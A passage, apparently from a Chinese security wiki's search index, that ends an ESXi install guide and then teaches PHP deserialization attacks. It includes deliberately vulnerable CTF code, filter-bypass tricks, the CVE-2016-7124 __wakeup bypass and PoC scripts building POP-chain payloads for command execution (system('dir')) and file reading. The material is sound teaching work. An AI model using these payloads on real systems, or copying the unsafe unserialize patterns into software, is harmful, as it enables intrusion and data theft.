Shell选项,回车后确认状态.已变为Enable状态,已开启. 选择Enable SSH选项,同理,回车即可开启 完成配置后返回主页面,确认当前信息 测试当前配置的是否生效:使用windows+r建,快速打开cmd窗口,确认到当前网络是正常连通的 WEB访问使用ESXI ESXI安装已完成,现在我们可以创建服务器了 接下来,我们就可以创建虚拟机了 ESXI创建虚拟服务器 上传镜像文件上传你要装的系统镜像文件 新建虚拟机 选择系统版本 配置硬件并选择iso镜像 查看任务状态是否部署成功:开启 安装Centos,键盘上键选中第一个回车 选择虚拟机使用的语言 设置root密码,等待安装即可 等待重启 使用root登录即可,虚拟机已经创建完成,即可使用 真实服务器安装esxi简介以上也只是通过虚拟化来安装,和真实服务器是不一样的,以下是真实服务器安装的演示,只是前面的步骤不一样 方式一:有屏幕 先设置开机U盘启动开机后按F11进入Boot界面设置U盘启动,选择BIOS BOOT Menu 选择Hard drive C:选择插好的U盘回车启动 选择第一行回车启动 等待 方式二:没屏幕拿网线把真实服务器的管理口和自己的电脑连接,进入控制台界面,启动远程控制,挂载虚拟cd就可以了 在网页上输入服务器的ip地址,输入账号密码进去 进入虚拟控制台 启动虚拟控制台 之后会下载一个文件.下载之后打开,windows要求java7,打开文件,一直下一步就可以了 启动虚拟控制台设置虚拟镜像.设置完虚拟CD镜像后再开机 选择下次引导–>虚拟cd 开机,就会进入esxi安装界面","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"十五. PHP反序列化","path":"/wiki/VulnerabilityInsightDocs/十五. PHP反序列化.html","content":"总字符数: 31.62K 代码: 18.75K, 文本: 7.46K 预计阅读时间: 1.90 小时 基础知识概念 类 对现实生活中一类具有共同特征的事物的抽象(即类可以说成是某一事物的代表,类归纳了事物) 对象 所说的事物就是对象 属性 类中对象所具有的性质 方法 可以用来操作该对象或者该对象可以使用哪些方法 语法1234567891011<?php class 类名{ // 常量 修饰值 $属性名=属性值(可以不初始化值); //属性 // 构造器(析构函数) // 方法 修饰值 function name(){ 方法体; }} 示例123456789101112131415161718<?phpclass test { // $a,$b为test类的属性 var $a; var $b; public function echo_test(){ echo $this->a; echo $this->b; }}// 实例化一个对象$test = new test();// 给test对象中的a赋值$test->a="Bob ";// 给test对象中的b赋值$test->b="Hello ";// 调用test对象中的echo_test()方法$test->echo_test(); 修饰符 Public Protected Private 本类 可以访问 可以访问 可以访问 子类 可以访问 可以访问 不能访问 外部 可以访问 不能访问 不能访问 123456789101112131415161718192021222324252627282930313233343536<?php// 定义类Aclass A { public $a = 'public'; // 公共属性,类内外都可以访问 protected $b = 'protected'; // 受保护属性,只有类内部和子类可以访问 private $c = 'private'; // 私有属性,只有类内部可以访问 // 构造函数,当对象被创建时调用 function __construct() { echo "本类 " . $this->a . " "; // 打印公共属性 echo "本类 " . $this->b . " "; // 打印受保护属性 echo "本类 " . $this->c . " "; // 打印私有属性 }}// 定义类B,它继承自类Aclass B extends A { // 构造函数,当对象被创建时调用 function __construct() { parent::__construct(); // 调用父类的构造函数 echo "子类 " . $this->a . " "; // 打印从父类继承的公共属性 echo "子类 " . $this->b . " "; // 打印从父类继承的受保护属性 // 由于$c是私有属性,这里会发生错误,子类无法访问父类的私有属性 // echo "子类 " . $this->c . " "; // 这行代码会产生错误,注释掉 }}$aaa = new A(); // 实例化类A的对象$bbb = new B(); // 实例化类B的对象,会调用类B的构造函数,而类B的构造函数会调用父类A的构造函数// 下面尝试从外部访问这些属性echo "外部 " . $aaa->a . " "; // 正确,外部可以访问公共属性// 下面这两行都会出错,因为从外部不能访问protected和private属性// echo "外部 " . $aaa->b . " "; // 错误,外部不能访问受保护属性,注释掉// echo "外部 " . $aaa->c . " "; // 错误,外部不能访问私有属性,注释掉?> 魔术方法__construct() 触发时机:当创建对象时,构造函数会被自动调用. 作用:初始化对象属性或执行起始化操作. 使用要求:可以接收参数,也可以没有参数. __destruct() 触发时机:对象生命周期结束时,如脚本执行结束或对象被销毁. 作用:执行清理工作,如释放资源或关闭连接. 使用要求:无需返回值,也不接受参数. __call($name, $arguments) 触发时机:在对象中调用一个不可访问方法时,__call()会被调用 作用:处理对不可访问方法的调用. 使用要求:接收方法名和参数数组,通常返回混合类型的结果. __get($name) 触发时机:读取不可访问的属性值时.__get()会被调用 作用:提供对私有和受保护属性的读取访问. 使用要求:接收属性名,返回属性值. __set($name, $value) 触发时机:给不可访问属性赋值时,__set()会被调用 作用:提供对私有和受保护属性的写入访问. 使用要求:接收属性名和属性值. __unset($name) 触发时机:对不可访问属性调用unset()时,__unset()会被调用 作用:能够清除私有和受保护属性. 使用要求:接收属性名. __sleep() 触发时机:使用serialize()序列化对象前. 作用:指定哪些属性需要被序列化. 使用要求:返回一个包含属性名的数组. __wakeup() 触发时机:使用unserialize()反序列化对象时,先于对象的其他方法和属性恢复. 作用:重构对象属性或执行代码,如重建数据库连接等. 使用要求:无返回值,通常用于重建资源型属性. __toString() 触发时机:当一个对象需要被当作字符串处理时,如echo $object;. 作用:定义对象的字符串表达形式. 使用要求:必须返回一个字符串. __invoke() 触发时机:当尝试将对象当作函数调用时,如$object();. 作用:使对象能以函数的形式被调用. 使用要求:可以接收参数,也可以没有参数,且必须返回有效值. 示例代码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556class Demo { private $flag; // 私有属性,仅类内部可访问 public function __construct(){ echo "construct"." "; // 构造函数,创建对象时调用,输出"construct" } public function __toString() { return '对象作字符串处理'; // 将对象转换为字符串时调用 } public function __set($key, $value) { echo "set ".$key."=>".$value." "; // 设置不可访问属性时调用 } public function __get($key) { echo "get ".$key." "; // 获取不可访问属性时调用 } public function __unset($key) { echo "unset "."=>".$key." "; // 当对不可访问属性调用unset()时调用 } public function __wakeup() { // 对象被unserialize()函数调用时,重新构建对象 // 恢复操作,例如: $this->flag = '对象被反序列化'; // 为私有属性flag赋值 } public function __invoke($arg) { return '对象被当作函数调用,参数:' . $arg; // 当对象被当作函数调用时执行 } public function givemeflag($flag){ echo "flag{".$flag."}"." "; // 自定义方法,输出参数 } public function __call($function, $args){ echo "call ".$function." ".json_encode($args)." "; // 调用不可访问方法时执行 } public function __destruct() { // 对象销毁时调用 echo '对象被销毁'; // 输出"对象被销毁" }}$demo = new Demo(); // 创建Demo类的实例$b = serialize($demo); // 序列化$demo对象,存储序列化字符串到$bunserialize($b); // 反序列化字符串$b,触发__wakeup$demo(); // 调用$demo对象作为函数,触发__invoke$demo->flag = 'wonima'; // 设置私有属性flag,触发__setecho $demo->flag; // 获取私有属性flag,触发__getunset($demo->flag); // 删除私有属性flag,触发__unset$demo->givemeflag("wonima"); // 调用存在的公共方法givemeflag 序列化是什么 序列化是为了保存对象,方便重用 序列化:把对象转换为字节序列的过程称为对象的序列化 123string serialize(mixed $value)# return 字符串 input:混合型serialize() # 序列化 函数用于序列化对象或数组,并返回一个字符串. serialize()函数序列化对象后,可以很方便的将它传递给其他需要他的地方 如果需要将已序列化的字符串变回PHP的值,可以使用unserialize() 序列化示例1234567891011121314151617181920<?php// 定义一个类叫做manclass man{ public $name; // 定义一个公共属性$name,用来存储人的名字 public $age; // 定义一个公共属性$age,用来存储人的年龄 public $height; // 定义一个公共属性$height,用来存储人的身高 // 类的构造函数,当创建man类的实例时自动调用 function __construct($name,$age,$height){ $this->name = $name; // 将传入构造函数的$name参数赋值给对象的$name属性 $this->age = $age; // 将传入构造函数的$age参数赋值给对象的$age属性 $this->height = $height; // 将传入构造函数的$height参数赋值给对象的$height属性 }}// 实例化man类的一个对象,传入姓名"Bob",年龄23岁,身高178厘米$man = new man("Bob",23,178);// 使用serialize函数序列化$man对象,然后使用var_dump函数打印序列化的字符串var_dump(serialize($man));?> 12345678# 序列化后string(69) "O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:6:"height";i:178;}"# string(69) 表示我们序列化的字符串的长度# O:Object# 3表示Class名称长度# man表示Class名称# 3表示里面有几个元素# s表示字符串 我们可以发现,把对象序列化之后的数据中并不能看到任何一个方法. 序列化只序列化他的属性,不序列化方法 也就是说我们在利用序列化攻击的时候,也是依托类属性进行攻击. 反序列化 反序列化就是将字符串转换成变量或者对象的过程 123456789101112131415<?php$man = 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:6:"height";i:178;}';var_dump(unserialize($man));/*result:object(man)#1 (3) { ["name"]=> string(3) "Bob" ["age"]=> int(23) ["height"]=> int(178)}*/ 与serialize()对应的unserialize可以从已存储的表示中创建PHP的值,对于本次的环境而言可以从序列化后的结果中恢复对象(Object). 1234567891011121314151617<?php// 定义一个类叫做manclass man{ public $name; // 定义一个公共属性$name,用来存储人的名字 public $age; // 定义一个公共属性$age,用来存储人的年龄 public $height; // 定义一个公共属性$height,用来存储人的身高 // 类的构造函数,当创建man类的实例时自动调用 function __construct($name,$age,$height){ $this->name = $name; // 将传入构造函数的$name参数赋值给对象的$name属性 $this->age = $age; // 将传入构造函数的$age参数赋值给对象的$age属性 $this->height = $height; // 将传入构造函数的$height参数赋值给对象的$height属性 }}# 序列化后的字符串$man = 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:6:"height";i:178;}';var_dump(unserialize($man)); 在PHP中,对象序列化包含成员变量的可见性处理,不同的可见性修饰符会影响序列化后的字符串格式. 下面是这个过程的简化解释,以及每个可见性修饰符对序列化格式的影响: Public (公共)成员变量:使用public修饰的成员变量在序列化后保留其原始名称和长度.例如,如果$name是公共变量并且值为"John",序列化后会正常显示为"John",长度为4. Protected (受保护的)成员变量:使用protected修饰的成员变量在序列化时,它的名称前会加上*字符,并且长度会增加3个字节.所以如果$age是受保护的变量,序列化后的长度会是原本长度加3. Private (私有的)成员变量:使用private修饰的成员变量在序列化时,在变量名前会加上其所在类的名称和两个空字节.因此,如果有一个私有变量$height在名为object的类中,序列化后的长度会是变量值的长度加上类名长度再加上2个字节. 在序列化中,\\x00代表空字节,它在私有和受保护成员变量的名称前后用于区分成员变量的作用域. 这里是具体的规则概述: Private 成员序列化规则:序列化私有成员时使用的格式为 \\x00[类名]\\x00[变量名]. Protected 成员序列化规则:序列化受保护的成员时使用的格式为 \\x00*\\x00[变量名]. 以上规则保证了在序列化和反序列化过程中,成员变量的可见性和归属保持不变,从而维护了对象状态的完整性. 序列化格式中的字母含义123456789101112a - array // 数组b - boolean // 布尔值d - double // 双精度浮点数i - integer // 整数o - common object // 常规对象(已废弃,被 O 替代)r - reference // 引用s - string // 字符串C - custom object // 自定义对象,具有自定义序列化的对象O - class // 对象N - null // NULL值R - pointer reference // 指针引用,指向另一个值的引用U - unicode string // Unicode字符串(PHP 6之前的特性,已不再使用) 为什么反序列化?存储需求 所有PHP里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示.序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字. 在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是”持久数据”,因此PHP序列化就是将内存的变量数据”保存”到文件中的持久数据的过程 传输需求 序列化通俗点说就是把一个对象变成可以传输的字符串. 比如:json格式,这就是一种序列化,有可能也是通过array序列化而来的.而反序列化就是把那串可以传输的字符串再变回对象 这样就让对象能够以字节流的形式传输 反序列化漏洞 反序列化可能会导致代码被加载和执行 unserialize()参数可控 php中有可以利用的类并且类中有魔幻函数又称魔术方法 __wakeup()(CVE-2016-7124) 反序列化时,如果表示对象属性个数的值大于真实的属性个数时会导致反序列化失败而同时会跳过__wakeup()的执行 影响版本 PHP 5.6.25之前的版本 7.x系列中7.0.10之前的版本 ctf.php12345678910111213141516171819202122232425262728293031323334353637<?php // 定义名为Demo的类class Demo { private $file = 'index.php'; // 私有属性,存储文件名,默认为'index.php' // 构造函数,当创建Demo类的实例时自动调用 public function __construct($file) { $this->file = $file; // 将传入的$file参数赋值给对象的$file属性 } // 析构函数,当Demo类的实例销毁时自动调用 function __destruct() { echo @highlight_file($this->file, true); // 输出高亮显示的$file文件内容 } // 当尝试对一个对象进行unserialize操作时,会自动调用此函数 function __wakeup() { if ($this->file != 'index.php') { // 文件名如果不是'index.php' // 注意信息:秘密在fl4g.php中 $this->file = 'index.php'; // 强制将$file属性设回为'index.php' } } }// 检查是否存在名为'var'的GET变量if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); // 对GET变量'var'进行base64解码 // 使用正则表达式检查解码后的字符串是否包含有特定模式(可能是序列化的对象或类) if (preg_match('/[oc]:\\d+:/i', $var)) { die('stop hacking!'); // 如果匹配到模式,则终止脚本,并输出警告信息 } else { @unserialize($var); // 如果没有匹配到模式,尝试反序列化字符串 } } else { highlight_file(__FILE__); // 如果没有GET变量'var',则高亮显示当前PHP文件内容} ?> 正则表达式 '/[oc]:\\d+:/i'各部分的含义如下: /.../:正则表达式的界定符,告诉PHP这是一个正则表达式的开始和结束. [oc]:字符集合,匹配 ‘o’ 或者 ‘c’ 中的任意一个字符. ::匹配冒号这个字符. \\d:匹配任何数字(digit),等同于 [0-9]. +:量词,表示前面的字符(在这个例子里是 \\d,即数字)出现一次或多次. ::再次匹配冒号这个字符. i:修饰符,表示匹配时不区分大小写. 所以,这个正则表达式用于查找字符串中的模式,该模式是以 ‘o’ 或 ‘c’(不区分大小写)开头,后跟一个冒号,然后是一个或多个数字,最后以冒号结束. 例如: o:123: 将会匹配 C:456: 也将会匹配 x:789: 则不会匹配,因为它不以 ‘o’ 或 ‘c’ 开头. fl4g.php1$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}"; poc.php12345678910111213141516171819202122232425class Demo{ private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } }}$a = new Demo("fl4g.php");$a = serialize($a);$a = str_replace("O:4","O:+4",$a); // 绕过正则$a = str_replace(":1:",":2:",$a); // 绕过wakeup$a = base64_encode($a); // base6编码echo $a; 解题思路关键点: 代码提示:需要读取 fl4g.php,但是直接访问会被重定向至 index.php. 利用点:__destruct() 方法中的 highlight_file($this->file, true) 可以读取文件内容. 目标:在反序列化后调用 __destruct(),同时避免 __wakeup() 将 $file 重置为 index.php. 优化解题思路: 利用 CVE-2016-7124 漏洞:序列化字符串的属性个数大于实际数量时,可以跳过 __wakeup(). 绕过技巧: 改变序列化内容中的属性个数,从而跳过 __wakeup(). 操作步骤: 将序列化的属性个数从 1 改为 2. 使用 base64 编码处理序列化内容. 提交修改后的数据,触发 __destruct(),读取 fl4g.php. 利用一般都是基于”自动调用”的魔术方法,当漏洞/危险代码存在类的普通方法中,就不能指望通过”自动调用”来达到目的.这时的利用方法如下 寻找相同的函数名 把敏感函数和类联系在一起 反序列化Bypassphp7.1+反序列化对类属性不敏感在PHP 7.1版本及以后,protected属性在序列化时不再需要特殊前缀.这意味着,即便序列化字符串中缺少\\x00*\\x00,PHP依然能够正确处理受保护的属性值. php5.5.9 1234567891011121314151617181920212223242526<?phpclass man{ public $name; protected $age; private $height; function __construct($name,$age,$height){ $this->name = $name; $this->age = $age; $this->height = $height; }}# 反序列化\\x00 2a \\x00(对应的16进制002a00)的受保护的序列值$man = new man('regret','23','178');var_dump(bin2hex(serialize($man)));# result:object(man)#1 (3) { ["name"]=> string(6) "regret" ["age":protected]=> int(23) ["height":"man":private]=> int(178)} 12345678910111213141516171819<?phpclass man{ public $name; protected $age; private $height; function __construct($name,$age,$height){ $this->name = $name; $this->age = $age; $this->height = $height; }}# php5.5.9反序列化没有\\x00 \\x00(对应的16进制002a00)的受保护的序列值$hex = '4f3a333a226d616e223a333a7b733a343a226e616d65223b733a363a22726567726574223b733a363a222a616765223b693a32333b733a31313a22006d616e00686569676874223b693a3137383b7d';var_dump(unserialize(hex2bin($hex)));# result:bool(false) php7.1.9 123456789101112131415161718192021222324252627282930313233<?phpclass man{ public $name; protected $age; private $height; function __construct($name, $age, $height) { $this->name = $name; $this->age = $age; $this->height = $height; }}// 注意:如果将\\x00 \\x00删掉之后,对应的s:6:"*age"这个6(hex:36)也要删除2个字节,也就是4(hex:34)$hex = '4f3a333a226d616e223a333a7b733a343a226e616d65223b733a363a22726567726574223b733a343a222a616765223b693a32333b733a31313a22006d616e00686569676874223b693a3137383b7d';$unserializedData = unserialize(hex2bin($hex));var_dump($unserializedData);# result:object(man)#2 (4) { ["name"]=> string(6) "regret" ["age":protected]=> NULL ["height":"man":private]=> int(178) ["*age"]=> int(23)} 绕过__wakeup(CVE-2016-7124) 版本: PHP5 < 5.6.25 PHP7 < 7.0.10 利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 对于下面这样一个自定义类 12345678910111213141516171819202122232425262728293031323334<?php// 定义一个名为test的类class test{ public $a; // 定义一个公共属性$a // 构造函数,每当类被实例化时,它就会被调用 public function __construct() { $this->a = 'abc'; // 初始化属性$a为字符串'abc' } // 当对象被反序列化时,__wakeup魔术方法会被调用 public function __wakeup() { $this->a = '666'; // 反序列化时,将属性$a的值设置为'666' } // 析构函数,当对象被销毁时,它会被调用 public function __destruct() { echo $this->a; // 在对象被销毁前输出属性$a的值 }}// 实例化test类的对象$test = new test();// 序列化$test对象,然后将序列化的字符串转换为16进制表示,最后打印出来var_dump(serialize($test));#result:string(33) "O:4:"test":1:{s:1:"a";s:3:"abc";}"abc 如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');输出结果为666 而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');输出结果为abc 绕过部分正则使用 preg_match('/^O:\\d+/') 可以检查一个字符串是否以PHP对象的序列化格式开头.这个技巧在一些安全竞赛(CTF)中很实用. 一个很简单的绕过手法就是在数字前面加一个+,这样就饶过了正则,因为正常来说整数会省略+,但是加上也不算错.当你在URL中传递参数时,需要记住将加号(+)编码为%2B 使用 serialize(array($a)); 可以序列化一个包含变量$a的数组,这样即使\\$a是一个对象,它的序列化字符串也会以字母a开始,而不是对象表示的O,这是一个避免某些安全问题的小技巧. 12345678910111213141516171819202122232425262728293031323334353637383940<?php// 定义一个类testclass test { public $a; // 类的公共属性$a // 类的构造函数,初始化属性$a public function __construct() { $this->a = 'abc'; } // 类的析构函数,当对象被销毁时输出属性$a public function __destruct() { echo $this->a.PHP_EOL; // 打印属性$a并换行 }}// 定义一个函数match来检查数据是否以序列化的对象字符串开头function match($data) { // 使用正则表达式检查是否以PHP序列化的对象格式开头 if (preg_match('/^O:\\d+/',$data)){ die('you lose!'); // 如果是,终止脚本并输出消息 } else { return $data; // 如果不是,返回原始数据 }}// 初始化一个序列化的对象字符串$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';// 将序列化的对象字符串中的'O:4'替换为'O:+4',用于绕过正则表达式的检查$b = str_replace('O:4','O:+4', $a);// 对修改后的数据使用match函数检查,然后尝试反序列化unserialize(match($b));// 将原始的序列化对象字符串$a包装在一个数组中并序列化// unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');// 尝试反序列化上面序列化的数组,其中包含了test对象unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');?> 除了加号(+),可能还有其他字符或者序列化格式的特定特征可以用于绕过检查,例如: 空白字符:在某些情况下,正则表达式可能没有考虑空白字符(如空格、制表符或换行符),可能会忽略它们. 空格字符 ( ) 制表符 (\\t) 换行符 ( ) 回车符 (\\r) 如果正则表达式仅检查开始的序列化对象而没有考虑对象内部的空白,那么可以在对象的属性值中插入空白字符,例如在s:3:"abc"后添加一个空格或其他空白字符. 但是,需要注意的是,PHP的unserialize()函数通常不会忽略序列化字符串中的空白字符,除非它们是字符串值的一部分.这意味着,虽然你可能绕过了正则表达式的检测,但是修改后的序列化字符串可能不会成功被unserialize()函数反序列化,除非这些空白字符位于序列化数据的非关键部分. 16进制绕过字符的过滤1234567O:4:"test":1:{s:8:"username";s:5:"admin";}可以写成O:4:"test":1:{S:8:"\\\\75sername";s:5:"admin";} 如果安全检查是寻找 "username" 字符串,你可以将 "username" 中的 "u" 替换为它的16进制形式 "\\75".检查可能会忽略 "\\75sername",因为按字面上它不等于 "username".然而,当反序列化操作发生时,"\\75" 会被解析回 "u",原始的字符串 "username" 就会被重建,原本的检查被绕过. 示例123456789101112131415161718192021222324252627282930313233343536// 定义一个名为 test 的类class test{ public $username; // 定义公共变量 $username // 类的构造函数 public function __construct(){ $this->username = 'admin'; // 初始化变量 $username 为字符串 'admin' } // 类的析构函数 public function __destruct(){ echo 666; // 在对象销毁时,输出 666 }}// 定义了一个名为 check 的函数,用于检查数据中是否包含 'username' 字符串function check($data){ // 使用 stristr 函数检查 $data 中是否包含 'username' 字符串 if(stristr($data, 'username')!==False){ echo("你绕不过!!".PHP_EOL); // 如果包含,则输出提示信息 } else{ return $data; // 如果不包含,则返回原始数据 }}// 未经处理的序列化字符串,包含 'username' 字段$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';$a = check($a); // 检查是否包含 'username',此时会输出提示信息,因为包含// 处理后的序列化字符串,其中 'username' 被替换成了它的16进制表示形式 '\\75sername'$a = 'O:4:"test":1:{S:8:"\\\\75sername";s:5:"admin";}';$a = check($a); // 检查处理后的数据,不会输出提示信息,因为没有直接包含 'username'unserialize($a); // 反序列化处理后的数据,会触发 test 类的析构方法,输出 666 PHP反序列化字符逃逸 此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞 这种题目有两个共同点: PHP序列化的字符串经过了替换或者修改,导致字符串长度发生变化 总是先进行序列化,再进行替换修改操作 分类: 替换后字符变多 替换后字符变少 情况1:过滤后字符变多123456789101112131415161718192021222324252627282930313233343536373839404142<?php// 定义一个函数change,用于将字符串中的所有"x"替换成"xx"function change($str){ // 使用str_replace函数替换字符串中的"x"为"xx" return str_replace("x", "xx", $str);}// 从请求的GET参数中获取'name'的值$name = $_GET['name']; // 警告:这里没有进行任何的输入过滤或验证,实际应用中这是一个严重的安全问题.// 定义一个字符串变量$age$age = "I am 11";// 创建一个数组$arr,包含$name和$age两个元素$arr = array($name, $age);// 输出提示信息echo "反序列化字符串:";// 使用serialize函数序列化$arr数组,并输出var_dump(serialize($arr));// 输出换行HTML标签echo "<br/>";// 输出提示信息echo "过滤后:";// 对序列化的数组字符串进行过滤替换(调用change函数),并赋值给$old$old = change(serialize($arr));// 对替换后的字符串进行反序列化,并赋值给$new$new = unserialize($old);// 输出过滤后的反序列化结果var_dump($new);// 输出换行HTML标签echo "<br/>";// 显示$new数组中的第二个元素,即年龄信息echo "此时,age=$new[1]"; // 注意:如果$new[1]的数据类型不是字符串,这里可能产生错误或不可预料的行为. 正常情况,传入name=cat 如果此时多传入一个x的话会怎样,毫无疑问反序列化失败,由于溢出(s本来是4结果多了一个字符出来),我们可以利用这一点实现字符串逃逸 首先来看看结果,再来讲解 我们通过GET参数传入了一个包含多个x字符的name值: 1$name = "catxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}"; 当使用以下代码对序列化的字符串进行替换操作时,问题就出现了: 12// 把字符串中的每一个'x'替换成两个'xx'$old = str_replace('x', 'xx', serialize($arr)); 这里发生了什么: 原始输入:name=catxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";} 字符计数:原始输入的";i:1;s:6:"woaini";}部分共有20个字符. 替换效果:每个x都被替换为xx,所以原本的20个x变成了40个. 字符串逃逸:由于替换后x的数量翻倍,导致原始的结尾部分";i:1;s:6:"woaini";}被覆盖,使得序列化字符串的格式被破坏. 反序列化结果:最终的"字符闭合了字符串,使得woaini可以成功被反序列化出来. 结尾处理:剩余的结尾分号";}正确闭合了整个序列化过程,使得原来应该出现在结尾的";i:1;s:7:"I am 11";}"被忽略,不影响反序列化结果. 情况2:过滤后字符变少老规矩先上代码,就是把反序列化后的两个x替换成为一个 123456789101112131415161718192021222324252627282930313233343536373839404142434445<?php// 定义一个函数change,用于将字符串中的所有"xx"替换成"x"function change($str){ // 使用str_replace函数进行字符串替换 return str_replace("xx", "x", $str);}// 从URL的GET参数中获取'name'并赋值给数组$arr的'name'键$arr['name'] = $_GET['name']; // 注意:直接使用用户输入可能导致安全漏洞// 从URL的GET参数中获取'age'并赋值给数组$arr的'age'键$arr['age'] = $_GET['age']; // 注意:同上,需要对用户输入进行验证和过滤// 输出文字提示echo "反序列化字符串:";// 输出序列化后的$arr数组var_dump(serialize($arr));// 输出HTML的换行标签echo "<br/>";// 输出文字提示echo "过滤后:";// 把序列化后的字符串通过change函数处理,并将处理后的结果赋值给$old$old = change(serialize($arr));// 输出处理后的字符串var_dump($old);// 输出HTML的换行标签echo "<br/>";// 使用unserialize函数对处理后的字符串$old进行反序列化,并将结果赋值给$new$new = unserialize($old);// 输出反序列化后的数组var_dump($new);// 输出HTML的换行标签echo "<br/>此时,age=";// 输出新数组$new中'age'键对应的值echo $new['age']; 正常情况传入name=mao&age=11的结果 最后构造的结果: 1name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&age=11";s:3:"age";s:6:"woaini";} 在序列化字符串中,由于我们插入了40个x字符,这导致原本的序列化数据因长度不匹配而被”截断”.这意味着序列化字符串中接下来的20个字符–";s:3:"age";s:28:"11–被这些x字符取代了.因为字符串在某个点被"字符闭合,这使得序列化的数据结构被破坏,从而允许插入额外的数据. 具体来说: 1s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}" 在这个序列化字符串中: s:3:"age"; 指定了一个长度为3的字符串”age”. s:28:"11" 试图定义一个长度为28的字符串,但实际上只包含”11”. 多余的x字符替换了这个字符串后面应有的内容. 最终"字符闭合了字符串,使得原本应当由序列化数据决定的内容现在可以被外部输入覆盖. 结果是,”age”的值不再是原本的”11”,而是被篡改后的”woaini”. POP链 POP链就是利用了PHP中对象的自动调用魔术方法特性,将多个类和方法串联起来,形成一个链式调用.当PHP反序列化时,会自动调用这些方法,触发代码执行. POP链构造技巧 简单浏览:找出可能的漏洞点 多去注意一些容易触发漏洞的函数:eval、include等 根据漏洞点反推:看逻辑是否可行(参数是否可控、魔术方法是否能触发、条件是否可达成等) 一般是先找注入点,判断注入需要的参数,然后找到包含执行注入的函数(一般就是魔术方法),再找执行此函数的条件a,判断条件a是否可以满足,然后再找执行条件a需要满足的条件b,依次找下去直到不需要再找需要满足的条件即可. 最后构造POC验证 构造的时候根据上一步找到的条件,最好从后往前构造,并且要找正确触发魔术方法的究竟是谁($this指的是谁) 一道简单的pop链例题12345678910111213141516171819202122232425262728293031323334// 定义了一个名为test的类class test{ private $index; // 私有属性 $index,用于储存index类的实例 // test类的构造函数 function __construct(){ $this->index=new index(); // 在新创建的test类实例中,为属性$index创建一个新的index类实例 } // test类的析构函数 function __destruct(){ $this->index->hello(); // 在test类对象被销毁前,调用其属性$index的hello方法 }}// 定义了一个名为index的类class index{ // index类中定义了一个公共方法hello public function hello(){ echo '你好啊~'; // 当调用此方法时,输出字符串"你好啊~" }}// 定义了一个名为execute的类class execute{ public $test; // 公共属性$test,可以存储任何值 // execute类中的hello方法 function hello(){ eval($this->test); // 使用eval函数执行存储在$test属性中的字符串.这里存在安全风险,不推荐使用eval. }}unserialize($_GET['test']); 漏洞利用点:eval($this->test);使hello()可执行,利用eval执行系统命令:$test=system(dir); hello()执行需满足: __destruct可触发:(反序列化test对象之后自动执行)且将$index=new execute() 将index设置为execute的示例需满足:__construct 不触发(反序列化test对象不会触发) 简单的POC12345678910111213<?php class test{ private $index; function __construct(){ $this->index=new execute(); } }\tclass execute{ public $test="system('dir');"; }\t$a=new test();\techo urlencode(serialize($a)); 因有privat修饰符(会产生不可打印字符)所以我们后面使用urlencode输出以便我们复制 CTF例题12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455class Modifier { protected $var; public function append($value) { include($value); } public function __invoke() { $this->append($this->var); }}class Show { public $source; public $str; public function __construct($file = 'index.php') { $this->source = $file; echo 'Welcome to ' . $this->source . "<br>"; } public function __toString() { return $this->str . $this->source; } public function __wakeup() { if (preg_match("/^(gopher|http|file|ftp|https|dict)\\.*/i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}class Test { public $p; public function __construct() { $this->p = array(); } public function __get($key) { $function = $this->p; return $function(); }}if (isset($_GET['pop'])) { // The @ operator is used to suppress error messages. // This is generally a bad practice and can lead to security vulnerabilities. // Also, unserialize user input directly is very dangerous because it can lead to object injection vulnerabilities. @unserialize($_GET['pop']);} else { $a = new Show; highlight_file(__FILE__);} 漏洞构造点:让append()执行利用文件包含include打开flag文件 让$value=flag.php append()执行 需要:invoke()被触发(Modifierl)实例作为函数调用) Modifierl实例作为函数调用需要:__get被触发)(访问Test对象不存在的属性)且$p=new Modifier()触发`__invoke()` 访问Test对象不存在的属性:__toString()触发(Show对象被当作字符串)且$str=new Test();触发`__get()` Show对象被当作字符串:__wakeup()触发(对show对象反序列化自动触发)且$source = new Show();触发`__toString` 最后顺序要求:触发__wakeup–>触发__tostring->触发__get–>触发__invoke POC123456789101112131415161718192021222324252627class Modifier{ // include函数使用伪协议读取文件 protected $var="flag.php"; // 或者利用php伪协议读取 //protected $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Test{ public $p;}class Show{ public $source; public $str;\t// 类中将另一个对象赋值给属性需要使用构造函数. public function __construct(){ $this->str = new Test(); }}// 此时source(show) -> str$a = new Show();// source(show) -> str之后触发__tostring然后访问source(test)触发__get$a->source = new Show();// __get返回的$p触发__invoke$a->source->str->p = new Modifier();echo urlencode(serialize($a)); 资料参考自 POP链与Gadget的区别PHP的POP链(Property Oriented Programming chain)和Java反序列化中的Gadget概念都是与对象序列化和反序列化安全相关的术语,但它们属于不同的编程语言环境,并且在具体的攻击方式和安全影响上有所区别. PHP的POP链: 